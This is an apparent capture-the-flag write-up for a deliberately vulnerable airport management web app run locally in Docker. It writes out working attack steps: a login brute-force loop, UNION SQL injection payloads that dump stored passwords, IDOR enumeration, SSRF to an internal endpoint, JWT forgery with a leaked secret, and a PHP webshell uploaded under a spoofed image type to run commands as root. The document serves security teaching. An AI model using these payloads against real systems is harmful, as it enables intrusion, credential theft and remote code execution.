Full walkthrough of the HiveAir International Airport CTF — a deliberately vulnerable Node/Express web application built by Hive Consult (Ghana) as part of a public bug-bounty practice series.
The lab simulates an airport management system with 10 vulnerabilities ranging from easy to "god mode." This writeup captures all 7 flags and demonstrates a complete attack chain from anonymous reconnaissance to remote code execution as the admin user.
Disclosure note: This lab was made publicly available by the author for practice and bug-bounty learning. All exploitation was performed against a local Docker instance.
unzip hiveair-ctf.zip && cd hiveair-ctf
docker compose up -d
curl -I http://localhost:8090/ # should 302 → /login.htmlWorkspace:
mkdir -p ~/hiveair-pwn && cd ~/hiveair-pwn
export BASE=http://localhost:8090
touch flags.txt notes.mdTools used: curl, jq, node
(for jsonwebtoken), Firefox + DevTools. Nothing else.
Recon (robots.txt, backup config)
│
└─► JWT_SECRET=hiveair leaked publicly
│
Register passenger → V1 brute-force flag
│
SQLi in flight search → full user dump (passwords + roles)
│
IDOR → other passengers' PII + V3 flag
│
Broken access ctl → security watchlist + V6 flag
│
SSRF → internal /api/internal/config + V8 flag
│
Business logic → book a departed flight for $0 + V9 flag
│
Forge admin JWT (HS256 + leaked secret) + V5 flag
│
Upload PHP shell as image/jpeg → RCE as root → V10 chain flag
Six of the seven flags fall to a passenger session. The seventh requires the forged admin token.
The
target: HiveAir International Airport management system.
The first move is mapping the attack surface without touching auth.
curl -I http://localhost:8090/
# HTTP/1.1 302 Found
# X-Powered-By: Express
# Location: /login.htmlX-Powered-By: Express confirms Node.js. That points to
JWTs for auth, .env files for config, and
/api/... routing — patterns to look for later.
curl http://localhost:8090/robots.txtDisallow: /admin.html
Disallow: /api/admin/
Disallow: /api/internal/
Disallow: /api/security/
Disallow: /uploads/
Disallow: /backup/
Disallow: /backup/hiveair_config.env
# Admin panel: /admin.html
# Internal API: /api/internal/config
# Backup config: /backup/hiveair_config.env
Disallow directives reveal every
"hidden" path: admin panel, internal API, security namespace, uploads,
backup.
robots.txt is not a security control. It's a
developer-curated list of sensitive paths, published in plaintext for
any attacker who knows it exists. Every Disallow: line
above is now a target.
Container running,
robots.txt enumerating the sensitive paths.
curl http://localhost:8090/backup/hiveair_config.envJWT_SECRET=hiveair
ADMIN_EMAIL=admin@hiveconsult.com
ADMIN_PASSWORD=admin123
STAFF_EMAIL=staff@hiveair.com
STAFF_PASSWORD=Staff@2024!
SECURITY_EMAIL=security@hiveair.com
SECURITY_PASSWORD=Sec@2024!
The admin password is bad (admin123), but it's
rotatable. The JWT_SECRET is the real prize — with it, I
can mint a valid token for any user, any role, at any time, without ever
knowing a password. The dev would have to change the secret in source
code and redeploy to lock me out.
The big leak: JWT_SECRET, admin
credentials, staff credentials, and database path.
Severity: Critical. Plain .env file
served from a public directory.
Register a passenger account and inspect what the server hands back.
curl -i -c cookies.txt -X POST http://localhost:8090/api/auth/login \
-H 'Content-Type: application/json' \
-d '{"email":"hunter@test.com","password":"hunter123"}'Set-Cookie: ha_token=eyJ...; Path=/
Just Path=/. No HttpOnly, no
Secure, no SameSite. Any JavaScript on the
page can read this cookie via document.cookie. That means
if I find a stored-XSS sink elsewhere in the app, I can steal another
user's session token. File that for later.
Decoded JWT payload:
{
"alg": "HS256" // header
}
{
"userId": 9,
"uuid": "eb069364-...",
"email": "hunter@test.com",
"name": "Hunter",
"role": "passenger" // ← the field that will matter most
}HS256 (symmetric signing) + a leaked secret = total auth compromise. I just don't use it yet.
Logged in as Hunter (registered
passenger). Baseline established.
for i in $(seq 1 20); do
curl -s -o /dev/null -w "%{http_code} " -X POST $BASE/api/auth/login \
-H 'Content-Type: application/json' \
-d "{\"email\":\"passenger@hiveair.com\",\"password\":\"wrong$i\"}"
doneAll 20 attempts returned 401 at 10–12ms each. No
throttling, no lockout. Confirming with a wordlist:
cat > wordlist.txt <<'EOF'
password
admin
123456
Pass@2024!
EOF
while read -r pw; do
code=$(curl -s -o /dev/null -w "%{http_code}" -X POST $BASE/api/auth/login \
-H 'Content-Type: application/json' \
-d "{\"email\":\"passenger@hiveair.com\",\"password\":\"$pw\"}")
echo " $pw → HTTP $code"
[ "$code" = "200" ] && echo "FOUND: $pw" && break
done < wordlist.txtHit on attempt 4. In a real engagement: rockyou.txt + hydra + parallel connections = compromise of any weak password in seconds.
curl -s -H "Authorization: Bearer $TOKEN" $BASE/api/internal/bruteforce-flag🚩 FLAG{n0_r4t3_l1m1t_br3ach3d_br4v0}
20 failed attempts with no throttling,
wordlist hit on attempt 4, flag captured.
The /api/internal/sqlmap-hint endpoint already names the
vulnerable endpoint, but the discovery path is worth running anyway.
curl -s "$BASE/api/flights/search?q=%27"
# {"error":"SQLITE_ERROR: unrecognized token: \"'\"","query":"'"}The error message confirms three things at once: it's SQLite, the input is concatenated directly into the query, and the server echoes the input back in the error response.
First attempt with ' OR '1'='1 returned 0 results — the
trailing %' from the original LIKE '%${q}%'
glued onto the 1, making the comparison
'1'='1%' (false). The fix: terminate the trailing SQL with
--:
curl -sG "$BASE/api/flights/search" \
--data-urlencode "q=zzzz' OR '1'='1' --" | jq '.flights | length'
# 8 (all flights returned for a nonsense search term)The flights table has 13 columns. UNION SELECT must match.
curl -sG "$BASE/api/flights/search" \
--data-urlencode "q=x' UNION SELECT id,email,password,name,role,passport,nationality,1,1,1,1,1,1 FROM users--" \
| jq '.flights'Result: every user, every plaintext password, every role — including admin and ops credentials not present in the backup file.
| id | password | role | |
|---|---|---|---|
| 1 | admin@hiveconsult.com | admin123 | admin |
| 2 | ops@hiveair.com | OpsHive@24 | admin |
| 3 | staff@hiveair.com | Staff@2024! | staff |
| 4 | security@hiveair.com | Sec@2024! | security |
| 5 | passenger@hiveair.com | Pass@2024! | passenger |
| 6 | alice@globalair.io | Alice#2024 | passenger |
| 7 | bob@travelplus.com | Bob$Travel9 | passenger |
| 8 | charlie@nexusfly.net | Charlie!99 | passenger |
UNION-based SQLi dumping the entire users table through a public,
unauthenticated search endpoint.
No flag awarded for V2 — the data dump is the prize. Pre-auth full database disclosure with plaintext passwords. Critical severity.
/api/bookings/:id requires authentication but does not
check ownership.
for i in 1 2 3 4 5; do
curl -s -H "Authorization: Bearer $TOKEN" $BASE/api/bookings/$i \
| jq '{passenger_name: .booking.passenger_name, passport: .booking.passport_number, hive_flag}'
done| Booking | Belongs to | Result |
|---|---|---|
| 1 | Alice Mercer | Name, email, passport UK789456 leaked + flag |
| 2 | Bob Osei | Name, email, passport GHA98765 leaked + flag |
| 3 | Charlie Mensah | Name, email, passport US123789 leaked + flag |
| 4 | Me (Kofi) | My own data — hive_flag: null |
| 5 | (no booking) | All nulls |
🚩 FLAG{1d0r_b00k1ng_p4ss3ng3r_d4t4_l34k3d}
Three other passengers' full PII (names, emails, passport numbers,
UUIDs) exposed by incrementing an integer.
The server-side code actually detects the IDOR (it sets the
flag specifically when req.user.userId !== booking.user_id)
but still serves the data. Detection without prevention.
/api/security/flags uses requireAuth
instead of requireRole('security','admin'). Any logged-in
passenger can read the airline's internal security watchlist.
curl -s -H "Authorization: Bearer $TOKEN" $BASE/api/security/flags | jqReturns Charlie Mensah's "Passport document mismatch" flag — internal
screening notes that should never reach a passenger. Includes severity
level (medium), the flagging officer's ID, timestamp, and
the flagged passenger's passport number.
🚩 FLAG{br0k3n_4cc3ss_c0ntr0l_s3cur1ty_d4t4}
Passenger token reading the
security team's flagged-passenger watchlist.
The POST /api/security/flag endpoint (write) is
correctly protected with requireRole. Only the read
endpoint was forgotten — classic copy-paste mistake.
POST /api/flights/status-check fetches any user-supplied
URL server-side with no validation.
curl -s -X POST $BASE/api/flights/status-check \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
-d '{"url":"http://localhost:3000/api/internal/config"}'Port 3000 is the container's internal port — invisible from my host machine but the server's loopback. The response body contains:
{
"version": "2.1.0",
"jwt_secret": "hiveair",
"admin_email": "admin@hiveconsult.com",
"ssrf_flag": "FLAG{ssrf_1nt3rn4l_c0nf1g_3xp0s3d}"
}🚩 FLAG{ssrf_1nt3rn4l_c0nf1g_3xp0s3d}
SSRF pivoting through the server's network identity
to reach an internal-only endpoint.
Bonus probe: trying /api/internal/bruteforce-flag
through the SSRF returned 401 Authentication required. The
server-side fetch doesn't forward the original request's
Authorization header. Useful boundary to know.
In production: this would be the gateway to AWS metadata
(169.254.169.254), internal databases, or service-mesh
endpoints. Capital One 2019 was this exact bug class.
Two design flaws in POST /api/bookings:
flight.status — departed flights are
bookable.price is trusted.Flight AF404 (id 4) has status departed and
price $760.
curl -s -X POST $BASE/api/bookings \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
-d '{"flight_id":4,"seat":"99X","class":"first","price":0}'{
"success": true,
"booking": { "pnr": "HIVE6NCWLT", "flight_number": "AF404", "class": "first", "price": 760 },
"hive_flag": "FLAG{bus1n3ss_l0g1c_byp4ss_fl1ght_b00k3d}"
}🚩 FLAG{bus1n3ss_l0g1c_byp4ss_fl1ght_b00k3d}
Booking a flight that left yesterday, in
first class.
Subtle: I sent price: 0 but the server stored
price: 760. The relevant code is
const finalPrice = parseFloat(price) || flight.price; — in
JavaScript, 0 || x evaluates to x because
0 is falsy. A real attacker would send
price: 0.01 to actually exploit the pricing bug. The
departed-flight check fired the flag either way.
The fix is one character: ?? instead of
||.
With JWT_SECRET=hiveair known, I can mint any token.
# Pull admin's UUID via SQLi
ADMIN_UUID=$(curl -sG "$BASE/api/flights/search" \
--data-urlencode "q=x' UNION SELECT id,uuid,email,name,role,1,1,1,1,1,1,1,1 FROM users WHERE id=1--" \
| jq -r '.flights[0].flight_number')
# Forge the token
ADMIN_TOKEN=$(node -e "
const jwt = require('jsonwebtoken');
console.log(jwt.sign({
userId: 1,
uuid: '$ADMIN_UUID',
email: 'admin@hiveconsult.com',
name: 'HIVE Admin',
role: 'admin'
}, 'hiveair', { expiresIn: '24h' }));
")Decoded payload of the forged token:
{"userId":1,"uuid":"83115dab-...","email":"admin@hiveconsult.com","role":"admin"}Use it:
curl -s -H "Authorization: Bearer $ADMIN_TOKEN" $BASE/api/admin/stats{
"users": 9, "bookings": 5, "flights": 8, "revenue": "4540.00",
"hive_flag": "FLAG{jwt_f0rg3d_w34k_s3cr3t_4dm1n_pwn3d}",
"note": "JWT secret \"hiveair\" was weak enough to forge."
}🚩 FLAG{jwt_f0rg3d_w34k_s3cr3t_4dm1n_pwn3d}
Forged token decoded next to the admin stats response — server
accepts the impersonation.
Confirming the server's view of me:
curl -s -H "Authorization: Bearer $ADMIN_TOKEN" $BASE/api/auth/me | jq .user{
"id": 1, "email": "admin@hiveconsult.com", "name": "HIVE Admin",
"role": "admin", "passport": "ADMIN001"
}I never sent a password. The server pulled the real admin record from
the database because my forged token claimed userId: 1.
/api/auth/me returns HIVE Admin's full record. The
server resolved my forged userId: 1 claim against the real
database row — confirming the impersonation is complete.
Full admin panel: user management,
bookings, flights, revenue — all accessible via the forged
token.
The Airport Control Dashboard
displays the V5 flag directly in the UI when accessed with the forged
JWT. The page renders identically whether the visitor logged in with the
leaked password or minted a token offline. The server has no way to
distinguish them.
Two layered bugs:
multer validates only the
Content-Type header on uploads. The actual file extension
and contents are not checked./uploads/:filename route executes any .php
file via execSync('php ${file}').<?php
echo "=== WEBSHELL ACTIVE ===\n";
system($_GET['c']);
?>
Webshell crafted. First upload attempt
failed with Authentication required — a reminder that bash
variables vanish across shell sessions. After re-establishing
$ADMIN_TOKEN, the upload succeeded.
image/jpegcurl -s -X POST $BASE/api/upload/document \
-H "Authorization: Bearer $ADMIN_TOKEN" \
-F "document=@shell.php;type=image/jpeg" \
-F "doc_type=passport"{ "success": true, "url": "/uploads/1779324540902_shell.php" }The MIME type is what curl announces. The actual file is PHP source. The server believes the header.
curl "$BASE/uploads/1779324540902_shell.php?c=whoami"
# root
curl "$BASE/uploads/1779324540902_shell.php?c=id"
# uid=0(root) gid=0(root)
curl "$BASE/uploads/1779324540902_shell.php?c=cat%20/app/server.js" | head -50
# (full app source code)
Webshell active. whoami → root. Full filesystem access. Server
source readable.
curl -s -H "Authorization: Bearer $ADMIN_TOKEN" $BASE/api/internal/chain-flag{
"hive_flag": "FLAG{ch41n3d_1d0r_jwt_rce_4irp0rt_0wn3d}",
"note": "Full chain complete: IDOR → passenger UUID exposed → JWT forged → Admin access → Webshell uploaded → RCE"
}🚩 FLAG{ch41n3d_1d0r_jwt_rce_4irp0rt_0wn3d}
| # | Vulnerability | Flag |
|---|---|---|
| 1 | V1 — No rate limiting | FLAG{n0_r4t3_l1m1t_br3ach3d_br4v0} |
| 2 | V3 — IDOR | FLAG{1d0r_b00k1ng_p4ss3ng3r_d4t4_l34k3d} |
| 3 | V6 — Broken access control | FLAG{br0k3n_4cc3ss_c0ntr0l_s3cur1ty_d4t4} |
| 4 | V8 — SSRF | FLAG{ssrf_1nt3rn4l_c0nf1g_3xp0s3d} |
| 5 | V9 — Business logic | FLAG{bus1n3ss_l0g1c_byp4ss_fl1ght_b00k3d} |
| 6 | V5 — JWT forgery | FLAG{jwt_f0rg3d_w34k_s3cr3t_4dm1n_pwn3d} |
| 7 | V10 — Chain RCE | FLAG{ch41n3d_1d0r_jwt_rce_4irp0rt_0wn3d} |
| Vuln | Class | Severity | Auth needed | Flag? |
|---|---|---|---|---|
| V1 | No rate limiting on login | High | None | ✅ |
| V2 | SQL injection (UNION) | Critical | None | — |
| V3 | IDOR on /api/bookings/:id |
High | Passenger | ✅ |
| V4 | Stored XSS in feedback | High | Passenger | — |
| V5 | JWT forgery (HS256 + leaked secret) | Critical | None | ✅ |
| V6 | Broken access control on /api/security/flags |
High | Passenger | ✅ |
| V7 | Insecure file upload (MIME-only check) | Critical | Any | ✅ (chained) |
| V8 | SSRF on /api/flights/status-check |
High | Passenger | ✅ |
| V9 | Business logic — bookable departed flights, client price | Medium | Passenger | ✅ |
| V10 | Full chain: IDOR → JWT → upload → RCE | Critical | (chains above) | ✅ |
V2 and V4 went unflagged by the author but are still real findings worth raising in a real engagement.
A few things this lab makes obvious:
The leak is usually the door.
robots.txt plus a .env in the public folder
gave away the kingdom before I touched authentication. Static directory
listings, backup files, and .env artifacts are still where
most real engagements start.
Symmetric JWT + a leaked secret = zero
authentication. HS256 is convenient. It's also a single point
of failure. Any app using HS256 should treat the secret
like a private key — and probably switch to RS256 if the
secret is ever stored anywhere readable.
Authorization is harder than authentication. Most flags here came from the gap between "you logged in" and "you're allowed to do that." IDOR, broken access control, and JWT forgery all live in that space. Authentication has matured. Authorization is still where developers cut corners.
MIME type is a client-controlled header. Never trust it for a security decision. Inspect the file bytes. Constrain the saved extension. Don't execute uploaded content under any circumstances.
Stacking small bugs beats single big bugs. V7 alone (upload a PHP file) is medium severity. V5 alone (forge an admin JWT) is high. Chain them and you get root on the airport's production system. Real attack chains look like this — never one bug, always five small ones in sequence.
Plaintext passwords are still in production in 2026. The SQLi dump returned passwords directly. Even bcrypt would have made the dump useless without a long offline crack. The fix is one library call.
If you're learning offensive security and want a Ghana-based, well-designed practice lab, reach out to Nana — these are some of the most thoughtfully constructed CTFs I've worked through.
All exploitation in this writeup was performed against a local Docker instance of a lab explicitly published by Hive Consult for public bug-bounty practice. Do not run any of these techniques against systems you don't own or have explicit permission to test.